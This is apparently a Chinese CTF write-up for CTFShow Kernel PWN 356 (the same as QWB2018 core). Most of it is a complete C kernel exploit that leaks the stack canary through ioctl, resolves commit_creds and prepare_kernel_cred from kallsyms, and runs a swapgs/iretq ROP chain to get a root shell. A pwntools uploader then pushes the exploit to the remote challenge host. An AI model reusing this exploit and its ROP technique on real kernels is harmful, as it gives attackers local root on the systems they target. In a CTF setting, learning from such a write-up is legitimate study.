当前位置: 首页 > news >正文

CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

PWN 356

本题和强网杯 2018qwb2018-core一模一样。
详细请看我之前的文章: Kernel PWN 入门(二)

exp:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr;
size_t commit_creds_addr;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void get_root(){           //ret2userchar* (*pkc)(int) = prepare_kernel_cred_addr;void (*cc)(char*) = commit_creds_addr;(*cc)((*pkc)(0));
}int show_read(int fd,size_t* addr){if(ioctl(fd,1719109787,addr)==-1){printf("[*]show_read failed");return -1;}return 0;}int set_off(int fd,int off){if(ioctl(fd,1719109788,off) == -1){printf("[*]show_read failed");return -1;}return 0;
}int show_copy_func(int fd,unsigned long len){if(ioctl(fd,1719109786,len)==-1){printf("[*]show_read failed");return -1;}return 0;
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();//leak stackint fd = open("/proc/show",O_RDWR);int i = 0;size_t stack[16] = {0};size_t rop[0x50] = {0};set_off(fd,0x40);show_read(fd,stack);size_t canary = stack[0];printf("canary is ------------->: 0x%lx\n",canary);//leak addrsize_t startup_64 = get_symbol_address("startup_64");unsigned long offset = startup_64-nokalsr_kernel_base;prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");commit_creds_addr = get_symbol_address("commit_creds");printf("offset is ==========>: %lx\n",offset);printf("prepare_kernel_cred_addr is ==========>: %lx\n",prepare_kernel_cred_addr);printf("commit_creds_addr is ==========>: %lx\n",commit_creds_addr);//ropsize_t pop_rdi_ret = 0xffffffff81000b2f+offset;size_t swapgs_popfq_ret = 0xffffffff81a012da+offset;size_t iretq_ret = 0xffffffff81050ac2+offset;for(int j =0;j<10;j++){rop[i++] = 0;}rop[8] = canary;rop[i++] = (size_t)get_root;rop[i++] = swapgs_popfq_ret;rop[i++] = 0;rop[i++] = iretq_ret;rop[i++] = (size_t)get_shell;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_sp;rop[i++] = user_ss;write(fd,rop,0x100);show_copy_func(fd,0xffffffffffff0100);return 0;
}

在这里插入图片描述

打远程用的脚本:

from pwn import *
import base64
context.log_level = "debug"with open("./exp", "rb") as f:exp = base64.b64encode(f.read())p = remote("pwn.challenge.ctf.show", 28290)
#p = process('./run.sh')
try_count = 1
while True:p.sendline()p.recvuntil("/ $")count = 0for i in range(0, len(exp), 0x200):p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")count += 1log.info("count: " + str(count))for i in range(count):p.recvuntil("/ $")p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")p.sendline("chmod +x /tmp/exploit")p.sendline("/tmp/exploit ")breakp.interactive()

在这里插入图片描述

PWN 357

http://www.dtcms.com/a/332096.html

相关文章:

  • 【嵌入式汇编基础】-ARM架构基础(五)
  • c/c++实现 TCP Socket网络通信
  • Docker存储卷备份策略于VPS服务器环境的实施标准与恢复测试
  • Linux 进程与内存布局详解
  • RecyclerView 拖拽与滑动操作
  • HQA-Attack: Toward High Quality Black-Box Hard-Label Adversarial Attack on Text
  • 多列集合---Map
  • 【无标题】设计文档
  • Cache的基本原理和缓存一致性
  • 基于大语言模型的爬虫数据清洗与结构化
  • 可信搜索中的多重签名
  • 系统日常巡检脚本
  • 将mysql数据库表结构导出成DBML格式
  • Qt---Qt函数库
  • ActionChains 鼠标操作笔记
  • # Vue 列表渲染详解
  • AI智能体|扣子(Coze)搭建【批量识别发票并录入飞书】Agent
  • FTP 服务详解:原理、配置与实践
  • 8月14日星期四今日早报简报微语报早读
  • [激光原理与应用-273]:理论 - 波动光学 - 光是电磁波,本身并没有颜色,可见光的颜色不过是人的主观感受
  • 时钟 中断 day54
  • close函数概念和使用案例
  • rustdesk 开源遥控软件
  • 云服务器运行持续强化学习COOM框架的问题
  • 低配硬件运行智谱GLM-4.5V视觉语言模型推理服务的方法
  • C#WPF实战出真汁01--项目介绍
  • linux设备驱动之USB驱动-USB主机、设备与Gadget驱动
  • 【Java|第十九篇】面向对象九——String类和枚举类
  • AI更换商品背景,智能融合,无痕修图
  • Java中加载语义模型